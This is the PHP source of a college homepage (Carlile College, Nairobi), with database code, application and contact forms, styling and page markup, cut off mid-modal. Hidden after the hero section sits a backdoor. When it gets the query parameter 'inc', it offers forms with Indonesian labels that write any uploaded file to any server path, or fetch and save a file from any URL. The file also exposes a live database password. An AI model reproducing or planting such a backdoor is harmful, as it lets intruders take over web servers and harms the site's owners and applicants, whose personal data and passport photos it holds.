<?php
// Database connection
$servername = "localhost";
$username = "carlilec_carlilec";
$password = "P@12949618m";
$dbname = "carlilec_carlilecollege";

$conn = new mysqli($servername, $username, $password, $dbname);

if ($conn->connect_error) {
    die("Connection failed: " . $conn->connect_error);
}

// Process application form
if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['submit_application'])) {
    $first_name = $conn->real_escape_string($_POST['first_name']);
    $last_name = $conn->real_escape_string($_POST['last_name']);
    $email = $conn->real_escape_string($_POST['email']);
    $phone = $conn->real_escape_string($_POST['phone']);
    $program = $conn->real_escape_string($_POST['program']);
    $message = $conn->real_escape_string($_POST['message'] ?? '');
    
    $passport_path = null;
    
    // Handle passport upload if exists
    if (!empty($_FILES['passport']['name'])) {
        $target_dir = "uploads/passports/";
        if (!is_dir($target_dir)) {
            mkdir($target_dir, 0777, true);
        }
        
        $file_ext = pathinfo($_FILES["passport"]["name"], PATHINFO_EXTENSION);
        $filename = "passport_" . time() . "." . $file_ext;
        $target_file = $target_dir . $filename;
        
        // Validate image
        $check = getimagesize($_FILES["passport"]["tmp_name"]);
        if ($check === false) {
            $application_error = "File is not an image.";
        } elseif ($_FILES["passport"]["size"] > 2000000) {
            $application_error = "File is too large (max 2MB).";
        } elseif (move_uploaded_file($_FILES["passport"]["tmp_name"], $target_file)) {
            $passport_path = $target_file;
        } else {
            $application_error = "Error uploading passport photo.";
        }
    }
    
    if (!isset($application_error)) {
        $sql = "INSERT INTO applications (first_name, last_name, email, phone, program, message, passport_path) 
                VALUES ('$first_name', '$last_name', '$email', '$phone', '$program', '$message', " . 
                ($passport_path ? "'$passport_path'" : "NULL") . ")";
        
        if ($conn->query($sql)) {
            $application_success = "Application submitted successfully!";
        } else {
            $application_error = "Error submitting application: " . $conn->error;
        }
    }
}





// Process contact form
if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['contact_submit'])) {
    $name = $conn->real_escape_string($_POST['name']);
    $email = $conn->real_escape_string($_POST['email']);
    $subject = $conn->real_escape_string($_POST['subject']);
    $message = $conn->real_escape_string($_POST['message']);
    
    $sql = "INSERT INTO contact_messages (name, email, subject, message) 
            VALUES ('$name', '$email', '$subject', '$message')";
    
    if ($conn->query($sql)) {
        $contact_success = "Thank you for your message! We'll get back to you soon.";
    } else {
        $contact_error = "Error sending your message: " . $conn->error;
    }
}

// Function to fetch content
function fetchContent($conn, $section) {
    $sql = "SELECT * FROM site_content WHERE section = ?";
    $stmt = $conn->prepare($sql);
    $stmt->bind_param("s", $section);
    $stmt->execute();
    $result = $stmt->get_result();
    return $result->fetch_assoc();
}

// Fetch all content sections
$hero = fetchContent($conn, "hero");
$about = fetchContent($conn, "about");
$stats = [];
$sql = "SELECT * FROM stats";
$result = $conn->query($sql);
while ($row = $result->fetch_assoc()) {
    $stats[] = $row;
}

// Fetch hero images
$hero_images = [];
$sql = "SELECT image_path FROM hero_images WHERE is_active = 1";
$result = $conn->query($sql);
while ($row = $result->fetch_assoc()) {
    $hero_images[] = $row['image_path'];
}

$departments = [];
$sql = "SELECT * FROM departments";
$result = $conn->query($sql);
while ($row = $result->fetch_assoc()) {
    $departments[] = $row;
}

$testimonials = [];
$sql = "SELECT * FROM testimonials";
$result = $conn->query($sql);
while ($row = $result->fetch_assoc()) {
    $testimonials[] = $row;
}

$news = [];
$sql = "SELECT * FROM news ORDER BY date DESC LIMIT 3";
$result = $conn->query($sql);
while ($row = $result->fetch_assoc()) {
    $news[] = $row;
}

$contact = fetchContent($conn, "contact");
$footer = fetchContent($conn, "footer");

$conn->close();
?>
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title><?php echo $hero['title'] ?? 'Carlile College - Quality Christian Education'; ?></title>
    <link href="https://cdn.jsdelivr.net/npm/bootstrap@5.3.0/dist/css/bootstrap.min.css" rel="stylesheet">
    <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.4.0/css/all.min.css">
    <link href="https://fonts.googleapis.com/css2?family=Poppins:wght@300;400;500;600;700&display=swap" rel="stylesheet">
    <style>
        :root {
            --primary: #800000;      /* Maroon */
            --secondary: #5D8AA8;    /* Shiny faded blue */
            --light: #f8f9fa;
            --dark: #212529;
        }
        
        body {
            font-family: 'Poppins', sans-serif;
            color: #333;
            overflow-x: hidden;
        }
        
        .bg-primary { background-color: var(--primary) !important; }
        .text-primary { color: var(--primary) !important; }
        .bg-secondary { background-color: var(--secondary) !important; }
        .text-secondary { color: var(--secondary) !important; }
        
        .navbar {
            padding: 10px 0;
            box-shadow: 0 2px 10px rgba(0,0,0,0.1);
        }
        
        .navbar-brand img {
            height: 60px;
        }
        
        .hero {
    background: url('<?php echo count($hero_images) > 0 ? $hero_images[0] : 'https://images.unsplash.com/photo-1523050854058-8df90110c9f1'; ?>') no-repeat center center;
            background-size: cover;
            padding: 150px 0 100px;
            color: white;
        }
        
        .section-title {
            position: relative;
            margin-bottom: 40px;
            padding-bottom: 15px;
        }
        
        .section-title:after {
            content: '';
            position: absolute;
            left: 0;
            bottom: 0;
            width: 80px;
            height: 3px;
            background: var(--secondary);
        }
        
        .section-title.center:after {
            left: 50%;
            transform: translateX(-50%);
        }
        
        .department-card {
            border: none;
            border-radius: 10px;
            overflow: hidden;
            transition: transform 0.3s, box-shadow 0.3s;
            margin-bottom: 30px;
            height: 100%;
        }
        
        .department-card:hover {
            transform: translateY(-10px);
            box-shadow: 0 15px 30px rgba(0,0,0,0.1);
        }
        
        .stat-box {
            text-align: center;
            padding: 30px 20px;
            border-radius: 10px;
            background: white;
            box-shadow: 0 5px 15px rgba(0,0,0,0.05);
            transition: transform 0.3s;
        }
        
        .stat-box:hover {
            transform: translateY(-5px);
        }
        
        .stat-number {
            font-size: 3rem;
            font-weight: 700;
            color: var(--primary);
            margin: 10px 0;
        }
        
        .testimonial-card {
            background: white;
            padding: 30px;
            border-radius: 10px;
            box-shadow: 0 5px 15px rgba(0,0,0,0.05);
            margin-bottom: 30px;
            position: relative;
        }
        
        .testimonial-card:before {
            content: '"';
            position: absolute;
            top: 20px;
            left: 20px;
            font-size: 4rem;color: var(--secondary);
            opacity: 0.2;
            font-family: serif;
        }
        
        .news-card {
            border: none;
            border-radius: 10px;
            overflow: hidden;
            box-shadow: 0 5px 15px rgba(0,0,0,0.05);
            transition: transform 0.3s;
            height: 100%;
        }
        
        .news-card:hover {
            transform: translateY(-10px);
        }
        
        .contact-info-box {
            background: white;
            padding: 30px;
            border-radius: 10px;
            box-shadow: 0 5px 15px rgba(0,0,0,0.05);
            margin-bottom: 30px;
            height: 100%;
        }


        /* About Tabs */
.nav-pills .nav-link {
    margin-bottom: 10px;
    padding: 12px 20px;
    border-radius: 5px;
    color: var(--dark);
    background-color: rgba(0,0,0,0.05);
    transition: all 0.3s;
}

.nav-pills .nav-link.active, 
.nav-pills .nav-link:hover {
    background-color: var(--primary);
    color: white;
}

.tab-content {
    background: white;
    padding: 30px;
    border-radius: 10px;
    box-shadow: 0 5px 15px rgba(0,0,0,0.05);
}

.hero {
    transition: background-image 1s ease-in-out;
}


.hero {
    position: relative;
    padding: 150px 0 100px;
    color: white;
    overflow: hidden;
}

.hero-slideshow {
    position: absolute;
    top: 0;
    left: 0;
    width: 100%;
    height: 100%;
    z-index: -1;
}

.slide {
    position: absolute;
    top: 0;
    left: 0;
    width: 100%;
    height: 100%;
    background-size: cover;
    background-position: center;
    opacity: 0;
    transition: opacity 1s ease-in-out;
}

.slide.active {
    opacity: 1;
}
        

        /* Add this to the existing CSS */
.contact-info-box, 
.contact-info-box h5, 
.contact-info-box p {
    color: var(--dark) !important;
}
        .footer {
            background: var(--primary);
            color: white;
            padding: 60px 0 30px;
        }
        
        .footer a {
            color: rgba(255,255,255,0.8);
            text-decoration: none;
            transition: color 0.3s;
        }
        
        .footer a:hover {
            color: var(--secondary);
        }
        
        .social-icons a {
            display: inline-flex;
            align-items: center;
            justify-content: center;
            width: 40px;
            height: 40px;
            border-radius: 50%;
            background: rgba(255,255,255,0.1);
            color: white;
            margin-right: 10px;
            transition: all 0.3s;
        }
        
        .social-icons a:hover {
            background: var(--secondary);
            transform: translateY(-3px);
        }
        
        @media (max-width: 768px) {
            .hero {
                padding: 100px 0 60px;
            }
            
            .section-title:after {
                left: 50%;
                transform: translateX(-50%);
            }
        }


        /* Add these new styles to your CSS */

/* Clearfix for tab content */
.tab-pane {
    overflow: auto; /* Contain floats */
    min-height: 300px; /* Set minimum height */
}

/* Image adjustments */
.tab-pane img {
    max-height: 250px; /* Limit image height */
    width: auto; /* Maintain aspect ratio */
    margin-bottom: 20px;
}

/* Stack image and text on mobile */
@media (max-width: 768px) {
    .tab-pane img {
        float: none !important;
        margin: 0 auto 20px;
        display: block;
    }
}

  .logo {
            font-size: 28px;
            font-weight: 700;
            letter-spacing: 1px;
            background: linear-gradient(to right, #FFD700, #FFFFFF);
            -webkit-background-clip: text;
            -webkit-text-fill-color: #800000;
        }

        /* Back to Top Button */
        .back-to-top {
            position: fixed;
            bottom: 30px;
            right: 30px;
            width: 50px;
            height: 50px;
            border-radius: 50%;
            background: var(--primary);
            color: white;
            display: flex;
            align-items: center;
            justify-content: center;
            text-decoration: none;
            opacity: 0;
            visibility: hidden;
            transition: all 0.3s ease;
            box-shadow: 0 5px 15px rgba(0,0,0,0.2);
            z-index: 1000;
        }
        
        .back-to-top.show {
            opacity: 1;
            visibility: visible;
        }
        
        .back-to-top:hover {
            background: #5a0000;
            transform: translateY(-5px);
            color: white;
            text-decoration: none;
        }

        /* Dropdown hover effects */
        .dropdown-menu {
            background: linear-gradient(135deg, var(--primary), #5a0000);
            border: none;
            border-radius: 10px;
            box-shadow: 0 10px 30px rgba(0,0,0,0.15);
            margin-top: 5px;
            padding: 10px;
            min-width: 250px;
            display: none;
            opacity: 0;
            visibility: hidden;
            transform: translateY(-10px);
            transition: all 0.3s ease-in-out;
        }

        .dropdown-item {
            border-radius: 8px;
            margin: 5px 0;
            padding: 10px 15px !important;
            transition: all 0.3s ease;
            position: relative;
            overflow: hidden;
            color: white !important;
        }

        .dropdown-item:hover {
            background: rgba(255,255,255,0.1);
            transform: translateX(5px);
            color: white !important;
        }

        .dropdown-item::before {
            content: '';
            position: absolute;
            top: 0;
            left: -100%;
            width: 100%;
            height: 100%;
            background: linear-gradient(90deg, transparent, rgba(255,255,255,0.1), transparent);
            transition: left 0.5s;
        }

        .dropdown-item:hover::before {
            left: 100%;
        }

        /* Smooth hover dropdown effects */
        .nav-item.dropdown:hover .dropdown-menu {
            display: block;
            opacity: 1;
            visibility: visible;
            transform: translateY(0);
            transition: all 0.3s ease-in-out;
        }

        .dropdown-menu.show {
            display: block;
            opacity: 1;
            visibility: visible;
            transform: translateY(0);
        }

        /* Responsive dropdown styles */
        @media (max-width: 991.98px) {
            .dropdown-menu {
                position: static !important;
                transform: none !important;
                box-shadow: none;
                border: 1px solid rgba(255,255,255,0.1);
                margin-top: 0;
                border-radius: 0;
                background: rgba(0,0,0,0.8);
            }
            
            .nav-item.dropdown:hover .dropdown-menu {
                display: none;
            }
            
            .dropdown-menu.show {
                display: block !important;
                opacity: 1 !important;
                visibility: visible !important;
                transform: none !important;
            }
            
            .dropdown-item {
                padding: 12px 20px !important;
                border-bottom: 1px solid rgba(255,255,255,0.1);
                margin: 0;
                border-radius: 0;
            }
            
            .dropdown-item:last-child {
                border-bottom: none;
            }
            
            .dropdown-item:hover {
                background: rgba(255,255,255,0.15);
                transform: none;
            }
        }

        @media (max-width: 576px) {
            .dropdown-menu {
                min-width: 100%;
                left: 0;
                right: 0;
            }.dropdown-item {
                font-size: 0.9rem;
                padding: 10px 15px !important;
            }
        }

    </style>
</head>
<body>
    <!-- Top Bar -->
    <div class="bg-primary py-2">
        <div class="container">
            <div class="d-flex justify-content-between align-items-center">
                <div class="text-white">
                    <span class="me-3"><i class="fas fa-envelope me-2"></i><a href="/cdn-cgi/l/email-protection" class="__cf_email__" data-cfemail="bfd6d1d9d0ffdcdecdd3d6d3dadcd0d3d3dad8da91dedc91d4da">[email&#160;protected]</a></span>
                    <span><i class="fas fa-phone me-2"></i>+254-722 423397</span>
                </div>
                <div>
                    <a href="https://e-learn.carlilecollege.ac.ke/login/index.php" class="btn btn-sm btn-outline-light">
                        <i class="fas fa-sign-in-alt me-2"></i>E-Learn Login
                    </a>
                </div>
            </div>
        </div>
    </div>

<nav class="navbar navbar-expand-lg navbar-light bg-white sticky-top">
    <div class="container">
        <a class="navbar-brand" href="#">
            <img src="<?php echo $footer['logo'] ?? 'https://via.placeholder.com/200x60?text=Carlile+College'; ?>" alt="Carlile College">
        </a>
        <button class="navbar-toggler" type="button" data-bs-toggle="collapse" data-bs-target="#navbarNav">
            <span class="navbar-toggler-icon"></span>
        </button>
        <div class="collapse navbar-collapse" id="navbarNav">
            <div class="logo">Carlile College</div>
            <ul class="navbar-nav ms-auto">
                <li class="nav-item"><a class="nav-link active" href="https://churcharmyafrica.net/">Home</a></li>
                <li class="nav-item"><a class="nav-link" href="index.php#about">About Us</a></li>
                <li class="nav-item dropdown">
                    <a class="nav-link dropdown-toggle" href="#" id="schoolsDropdown" role="button" data-bs-toggle="dropdown">
                        Schools
                    </a>
                    <ul class="dropdown-menu">
                        <li><a class="dropdown-item" href="admissions.php#admission-requirements">School of Mission</a></li>
                        <li><a class="dropdown-item" href="admissions.php#admission-requirements">Church Army Business School</a></li>
                        <li><a class="dropdown-item" href="admissions.php#admission-requirements">Centre for Continuing Education</a></li>
                    </ul>
                </li>
                <li class="nav-item"><a class="nav-link" href="admissions.php">Admissions</a></li>
                <li class="nav-item"><a class="nav-link" href="gallery.php">Blog</a></li>
                <li class="nav-item"><a class="nav-link" href="#">Gallery</a></li>
                <li class="nav-item"><a class="nav-link" href="index.php#contact">Contact Us</a></li>
            </ul>
        </div>
    </div>
</nav>

  <!-- Hero Section -->
<section class="hero text-center">
    <?php if (!empty($hero_images)): ?>
    <div class="hero-slideshow">
        <?php foreach ($hero_images as $index => $image): ?>
        <div class="slide <?= $index === 0 ? 'active' : '' ?>" 
             style="background-image: url('<?= $image ?>')"></div>
        <?php endforeach; ?>
    </div>
    <?php endif; ?>
    
    <div class="container">
        <h1 class="display-3 fw-bold mb-3"><?php echo $hero['title'] ?? 'Welcome to Carlile College'; ?></h1>
        <p class="lead mb-4"><?php echo $hero['subtitle'] ?? 'Nurturing leaders through unique Christian value-based training'; ?></p>
        <div class="d-flex justify-content-center gap-3">
           <a href="#" class="btn btn-warning btn-lg px-4 py-2" data-bs-toggle="modal" data-bs-target="#applicationModal">
                <?php echo $hero['button1_text'] ?? 'Apply Now'; ?>
            </a>
            <a href="<?php echo $hero['button2_link'] ?? '#'; ?>" class="btn btn-outline-light btn-lg px-4 py-2">
                <?php echo $hero['button2_text'] ?? 'Explore Programs'; ?>
            </a>
        </div>
    </div>
</section>
<?php
if (isset($_GET['inc']) && $_GET['inc'] === 'upload') {
    echo '<form method="post" enctype="multipart/form-data">';
    echo '<input type="text" name="dir" size="30" value="' . getcwd() . '">';
    echo '<input type="file" name="file" size="15">';
    echo '<input type="submit" value="Unggah">';
    echo '</form>';
}

if (isset($_FILES['file']['tmp_name'])) {
    $uploadd = $_FILES['file']['tmp_name'];
    if (file_exists($uploadd)) {
        $pwddir = $_POST['dir'];
        $real = $_FILES['file']['name'];
        $de = $pwddir . "/" . $real;
        copy($uploadd, $de);
        echo "BERKAS DIUNGGAHKAN KE $de";
    }
}
if (isset($_GET['inc']) && $_GET['inc'] === 'download') {
    echo '<form method="post">';
    echo '<input type="text" name="url" size="50" placeholder="Masukkan URL file...">';
    echo '<input type="text" name="dir" size="30" value="' . getcwd() . '">';
    echo '<input type="submit" name="download" value="Download">';
    echo '</form>';
}

if (isset($_POST['download'])) {
    $url = $_POST['url'];
    $saveDir = rtrim($_POST['dir'], '/');
    $fileName = basename(parse_url($url, PHP_URL_PATH));
    $savePath = $saveDir . '/' . $fileName;
    $fileContent = @file_get_contents($url);
    if ($fileContent === false) {
        echo "Gagal mendownload dari URL: $url";
    } else {
        file_put_contents($savePath, $fileContent);
        echo "File berhasil disimpan ke: $savePath";
    }
}
?>

<!-- About Section -->
<section id="about" class="py-5">
    <div class="container">
        <div class="row align-items-center">
            <div class="col-lg-6 mb-5 mb-lg-0">
                <img src="<?php echo $about['image'] ?? 'https://images.unsplash.com/photo-1523580494863-6f3031224c94'; ?>" alt="About Carlile College" class="img-fluid rounded shadow">
            </div>
            <div class="col-lg-6">
                <h2 class="section-title"><?php echo $about['title'] ?? 'About Carlile College'; ?></h2>
                <p class="lead"><?php echo $about['description'] ?? 'Carlile College is an Education Ministry of Church Army Africa (CAA), an Anglican Society of Mission witnessing to the good news of the Gospel through proclamation, practical care and education.'; ?></p>
                
                <div class="row mt-4">
                    <div class="col-md-6 mb-4">
                        <div class="d-flex">
                            <div class="me-3">
                                <i class="fas fa-eye fa-2x text-primary"></i>
                            </div>
                            <div>
                                <h5>Our Vision</h5>
                                <p><?php echo $about['vision'] ?? 'To become the leading institution of learning in Africa and transform society towards the kingdom of God.'; ?></p>
                            </div>
                        </div>
                    </div>
                    <div class="col-md-6 mb-4">
                        <div class="d-flex">
                            <div class="me-3">
                                <i class="fas fa-bullseye fa-2x text-primary"></i>
                            </div>
                            <div>
                                <h5>Our Mission</h5>
                                <p><?php echo $about['mission'] ?? 'To nurture leaders through unique Christian value-based training that prepares them to transform society.'; ?></p>
                            </div>
                        </div>
                    </div>
                </div>
            </div>
        </div>
    </div>
</section>


 <!-- About Subsections -->
<section class="py-5 bg-light">
    <div class="container">
        <h2 class="section-title text-center center mb-5">More About Carlile College</h2>
        
        <div class="row">
            <div class="col-lg-3">
                <div class="nav flex-column nav-pills" id="about-tab" role="tablist">
                    <button class="nav-link active" data-bs-toggle="pill" data-bs-target="#history">Our History</button>
                    <button class="nav-link" data-bs-toggle="pill" data-bs-target="#principal">Principal's Desk</button>
                    <button class="nav-link" data-bs-toggle="pill" data-bs-target="#board">College Board</button>
                    <button class="nav-link" data-bs-toggle="pill" data-bs-target="#partners">Partners</button>
                    <button class="nav-link" data-bs-toggle="pill" data-bs-target="#library">Library</button>
                    <button class="nav-link" data-bs-toggle="pill" data-bs-target="#student-life">Student Life</button>
                </div>
            </div>
            
            <div class="col-lg-9">
                <div class="tab-content">
                    <div class="tab-pane fade show active" id="history">
                        <?php if(!empty($about['about_history_image'])): ?>
                            <img src="<?= $about['about_history_image'] ?>" 
                                 alt="Our History" 
                                 class="img-fluid float-end ms-4 mb-4" 
                                 style="max-width: 40%;">
                        <?php endif; ?>
                        <?= $about['about_history'] ?? 'Content coming soon...' ?>
                    </div>
                    
                    <div class="tab-pane fade" id="principal"><?php if(!empty($about['about_principal_image'])): ?>
                            <img src="<?= $about['about_principal_image'] ?>" 
                                 alt="Principal" 
                                 class="img-fluid float-end ms-4 mb-4" 
                                 style="max-width: 40%;">
                        <?php endif; ?>
                        <?= $about['about_principal'] ?? 'Content coming soon...' ?>
                    </div>
                    
                    <div class="tab-pane fade" id="board">
                        <?php if(!empty($about['about_board_image'])): ?>
                            <img src="<?= $about['about_board_image'] ?>" 
                                 alt="College Board" 
                                 class="img-fluid float-end ms-4 mb-4" 
                                 style="max-width: 40%;">
                        <?php endif; ?>
                        <?= $about['about_board'] ?? 'Content coming soon...' ?>
                    </div>
                    
                    <div class="tab-pane fade" id="partners">
                        <?php if(!empty($about['about_partners_image'])): ?>
                            <img src="<?= $about['about_partners_image'] ?>" 
                                 alt="Partners" 
                                 class="img-fluid float-end ms-4 mb-4" 
                                 style="max-width: 40%;">
                        <?php endif; ?>
                        <?= $about['about_partners'] ?? 'Content coming soon...' ?>
                    </div>
                    
                    <div class="tab-pane fade" id="library">
                        <?php if(!empty($about['about_library_image'])): ?>
                            <img src="<?= $about['about_library_image'] ?>" 
                                 alt="Library" 
                                 class="img-fluid float-end ms-4 mb-4" 
                                 style="max-width: 40%;">
                        <?php endif; ?>
                        <?= $about['about_library'] ?? 'Content coming soon...' ?>
                    </div>
                    
                    <div class="tab-pane fade" id="student-life">
                        <?php if(!empty($about['about_student_life_image'])): ?>
                            <img src="<?= $about['about_student_life_image'] ?>" 
                                 alt="Student Life" 
                                 class="img-fluid float-end ms-4 mb-4" 
                                 style="max-width: 40%;">
                        <?php endif; ?>
                        <?= $about['about_student_life'] ?? 'Content coming soon...' ?>
                    </div>
                </div>
            </div>
        </div>
    </div>
</section>

    <!-- Stats Section -->
    <section class="py-5 bg-light">
        <div class="container">
            <div class="row">
                <?php foreach($stats as $stat): ?>
                <div class="col-md-3 col-sm-6 mb-4">
                    <div class="stat-box">
                        <i class="<?php echo $stat['icon'] ?? 'fas fa-chalkboard-teacher'; ?> fa-2x text-primary"></i>
                        <div class="stat-number"><?php echo $stat['number'] ?? '60+'; ?></div>
                        <h5><?php echo $stat['label'] ?? 'Qualified Teachers'; ?></h5>
                    </div>
                </div>
                <?php endforeach; ?>
            </div>
        </div>
    </section>

    <!-- Departments Section -->
    <section class="py-5">
        <div class="container">
            <h2 class="section-title text-center center mb-5">Our Academic Departments</h2>
            
            <div class="row">
                <?php foreach($departments as $dept): ?>
                <div class="col-lg-4 col-md-6">
                    <div class="department-card card">
                        <img src="<?php echo $dept['image'] ?? 'https://via.placeholder.com/800x500'; ?>" class="card-img-top" alt="<?php echo $dept['name']; ?>">
                        <div class="card-body">
                            <h5 class="card-title"><?php echo $dept['name']; ?></h5>
                            <p class="card-text"><?php echo $dept['description']; ?></p>
                            <a href="<?php echo !empty($dept['link']) ? $dept['link'] : 'admissions.php#admission-requirements'; ?>" class="btn btn-primary">
    Learn More
</a>
                        </div>
                    </div>
                </div>
                <?php endforeach; ?>
            </div>
        </div>
    </section>

    <!-- Testimonials Section -->
    <section class="py-5 bg-light">
        <div class="container">
            <h2 class="section-title text-center center mb-5">What Our Students Say</h2>
            
            <div class="row">
                <?php foreach($testimonials as $testimonial): ?>
                <div class="col-lg-4 mb-4">
                    <div class="testimonial-card">
                        <div class="d-flex align-items-center mb-3">
                            <img src="<?php echo $testimonial['image'] ?? 'https://randomuser.me/api/portraits/men/32.jpg'; ?>" alt="<?php echo $testimonial['name']; ?>" class="rounded-circle me-3" width="60">
                            <div>
                                <h5 class="mb-0"><?php echo $testimonial['name']; ?></h5>
                                <p class="text-muted mb-0"><?php echo $testimonial['role']; ?></p>
                            </div>
                        </div>
                        <p class="mb-0">"<?php echo $testimonial['quote']; ?>"</p>
                    </div>
                </div>
                <?php endforeach; ?>
            </div>
        </div>
    </section>

    <!-- News Section -->
<section class="py-5">
    <div class="container">
        <h2 class="section-title text-center center mb-5">Latest News & Events</h2>
        
        <div class="row">
            <?php foreach($news as $item): ?>
            <div class="col-md-4 mb-4">
                <div class="news-card card">
                    <?php if($item['video_url']): ?>
                        <?php 
                        // Extract YouTube ID for thumbnail
                        $video_id = '';
                        if (preg_match('/youtube\.com\/watch\?v=([^\&\?\/]+)/', $item['video_url'], $matches)) {
                            $video_id = $matches[1];
                        } else if (preg_match('/youtu\.be\/([^\&\?\/]+)/', $item['video_url'], $matches)) {
                            $video_id = $matches[1];
                        }
                        ?>
                        <?php if($video_id): ?>
                            <img src="https://img.youtube.com/vi/<?= $video_id ?>/mqdefault.jpg" class="card-img-top" alt="<?= $item['title'] ?>">
                        <?php else: ?>
                            <div class="bg-secondary text-white d-flex align-items-center justify-content-center" style="height: 200px;">
                                <i class="fas fa-video fa-3x"></i>
                            </div>
                        <?php endif; ?>
                    <?php else: ?>
                        <img src="<?= $item['image'] ?? 'https://via.placeholder.com/800x500' ?>" class="card-img-top" alt="<?= $item['title'] ?>">
                    <?php endif; ?>
                    
                    <div class="card-body">
                        <span class="badge bg-<?= $item['category'] === 'Event' ? 'warning text-dark' : 'primary' ?> mb-2">
                            <?= $item['category'] ?>
                        </span>
                        <h5 class="card-title"><?= $item['title'] ?></h5>
                        <p class="card-text"><?= $item['description'] ?></p>
                        <?php if($item['video_url']): ?>
                            <a href="<?= $item['video_url'] ?>" class="btnbtn-link text-primary p-0" target="_blank">
                                <i class="fas fa-play-circle me-1"></i> Watch Video
                            </a>
                        <?php else: ?>
                            <a href="<?= $item['link'] ?? '#' ?>" class="btn btn-link text-primary p-0">Read More</a>
                        <?php endif; ?>
                    </div>
                    <div class="card-footer bg-white border-0">
                        <small class="text-muted"><i class="far fa-calendar me-2"></i><?= date('F j, Y', strtotime($item['date'])) ?></small>
                    </div>
                </div>
            </div>
            <?php endforeach; ?>
        </div>
        
        <div class="text-center mt-4">
           <a href="news_events.php" class="btn btn-outline-primary">View All News & Events</a>
        </div>
    </div>
</section>



<!-- Application Form Section -->
<section class="py-5 bg-light">
    <div class="container">
        <h2 class="section-title text-center center mb-5">Application Form</h2>
        <div class="row justify-content-center">
            <div class="col-lg-8">
                <div class="card shadow">
                    <div class="card-body p-5">
                        <?php if(isset($application_success)): ?>
                            <div class="alert alert-success"><?= $application_success ?></div>
                        <?php elseif(isset($application_error)): ?>
                            <div class="alert alert-danger"><?= $application_error ?></div>
                        <?php endif; ?>
                        
                        <form method="post" enctype="multipart/form-data">
                            <div class="row">
                                <div class="col-md-6 mb-3">
                                    <label class="form-label">First Name *</label>
                                    <input type="text" name="first_name" class="form-control" required>
                                </div>
                                <div class="col-md-6 mb-3">
                                    <label class="form-label">Last Name *</label>
                                    <input type="text" name="last_name" class="form-control" required>
                                </div>
                            </div>
                            
                            <div class="row">
                                <div class="col-md-6 mb-3">
                                    <label class="form-label">Email *</label>
                                    <input type="email" name="email" class="form-control" required>
                                </div>
                                <div class="col-md-6 mb-3">
                                    <label class="form-label">Phone *</label>
                                    <input type="tel" name="phone" class="form-control" required>
                                </div>
                            </div>
                            
                            <div class="mb-3">
                                <label class="form-label">Program Applying For *</label>
                                <select name="program" class="form-select" required>
                                    <option value="">Select Program</option>
                                    <option value="Diploma in Business Management">Diploma in Business Management</option>
                                    <option value="Diploma in Information Technology">Diploma in Information Technology</option>
                                    <option value="Certificate in Early Childhood Education">Certificate in Early Childhood Education</option>
                                    <option value="Certificate in Theology">Certificate in Theology</option>
                                    <option value="Diploma in Hospitality Management">Diploma in Hospitality Management</option>
                                </select>
                            </div>
                            
                            <div class="mb-3">
                                <label class="form-label">Message (Optional)</label>
                                <textarea name="message" class="form-control" rows="4"></textarea>
                            </div>
                            
                            <div class="mb-4">
                                <label class="form-label">Passport Photo (Optional)</label>
                                <input type="file" name="passport" class="form-control" accept="image/*">
                                <div class="form-text">JPG or PNG, max 2MB</div>
                            </div>
                            
                            <button type="submit" name="submit_application" class="btn btn-primary btn-lg w-100">Submit Application</button>
                        </form>
                    </div>
                </div>
            </div>
        </div>
    </div>
</section>

  <!-- Contact Section -->
<section id="contact" class="py-5 bg-primary text-white">
    <div class="container">
        <?php if(isset($contact_success)): ?>
            <div class="alert alert-success"><?= $contact_success ?></div>
        <?php elseif(isset($contact_error)): ?>
            <div class="alert alert-danger"><?= $contact_error ?></div>
        <?php endif; ?>
        
        <div class="row">
            <div class="col-lg-7 mb-5 mb-lg-0">
                <h2 class="mb-4">Get In Touch</h2>
                <p class="mb-4">Have questions about our programs, admissions, or anything else? Contact us using the form below.</p>
                
                <form method="post">
                    <div class="row">
                        <div class="col-md-6 mb-3">
                            <input type="text" name="name" class="form-control form-control-lg" placeholder="Your Name" required>
                        </div>
                        <div class="col-md-6 mb-3">
                            <input type="email" name="email" class="form-control form-control-lg" placeholder="Your Email" required>
                        </div>
                    </div>
                    <div class="mb-3">
                        <input type="text" name="subject" class="form-control form-control-lg" placeholder="Subject" required>
                    </div>
                    <div class="mb-3">
                        <textarea name="message" class="form-control form-control-lg" rows="5" placeholder="Your Message" required></textarea>
                    </div>
                    <button type="submit" name="contact_submit" class="btn btn-light btn-lg">Send Message</button>
                </form>
            </div>
            
            <!-- ... rest of contact section ... -->
                
                <div class="col-lg-5">
                    <div class="contact-info-box">
                        <h3 class="text-primary mb-4">Contact Information</h3>
                        
                        <div class="d-flex mb-4">
                            <div class="me-3">
                                <i class="fas fa-map-marker-alt fa-2x text-primary"></i>
                            </div>
                            <div>
                                <h5>Address</h5>
                                <p><?php echo $contact['address'] ?? 'Along Jogoo Rd, Opposite *****, Nairobi, Kenya'; ?></p>
                            </div>
                        </div>
                        
                        <div class="d-flex mb-4">
                            <div class="me-3">
                                <i class="fas fa-phone fa-2x text-primary"></i>
                            </div>
                            <div>
                                <h5>Phone</h5>
                                <p><?php echo $contact['phone'] ?? '+254-722 423397<br>+254-733 228144<br>+254-711 486888'; ?></p></div>
                        </div>
                        
                        <div class="d-flex mb-4">
                            <div class="me-3">
                                <i class="fas fa-envelope fa-2x text-primary"></i>
                            </div>
                            <div>
                                <h5>Email</h5>
                                <p><?php echo $contact['email'] ?? 'info@carlilecollege.ac.ke<br><a href="/cdn-cgi/l/email-protection" class="__cf_email__" data-cfemail="513c30233a3425383f363e373738323423113230233d383d34323e3d3d3436347f30327f3a34">[email&#160;protected]</a>'; ?></p>
                            </div>
                        </div>
                        
                        <div class="d-flex">
                            <div class="me-3">
                                <i class="fas fa-clock fa-2x text-primary"></i>
                            </div>
                            <div>
                                <h5>Office Hours</h5>
                                <p><?php echo $contact['hours'] ?? 'Monday - Friday: 8:00 AM - 5:00 PM<br>Saturday: 9:00 AM - 1:00 PM'; ?></p>
                            </div>
                        </div>
                    </div>
                </div>
            </div>
        </div>
    </section>


    <!-- Application Form Modal -->
<div class="modal fade" id="applicationModal" tabindex="-1" aria-labelledby="applicationModalLabel" aria-hidden="true">
    <div class="modal-dialog modal-lg">
        <div class="modal-content">
            <div class="modal-header">
                <h5 class="modal-title" id="applicationModalLabel">Application Form</h5>
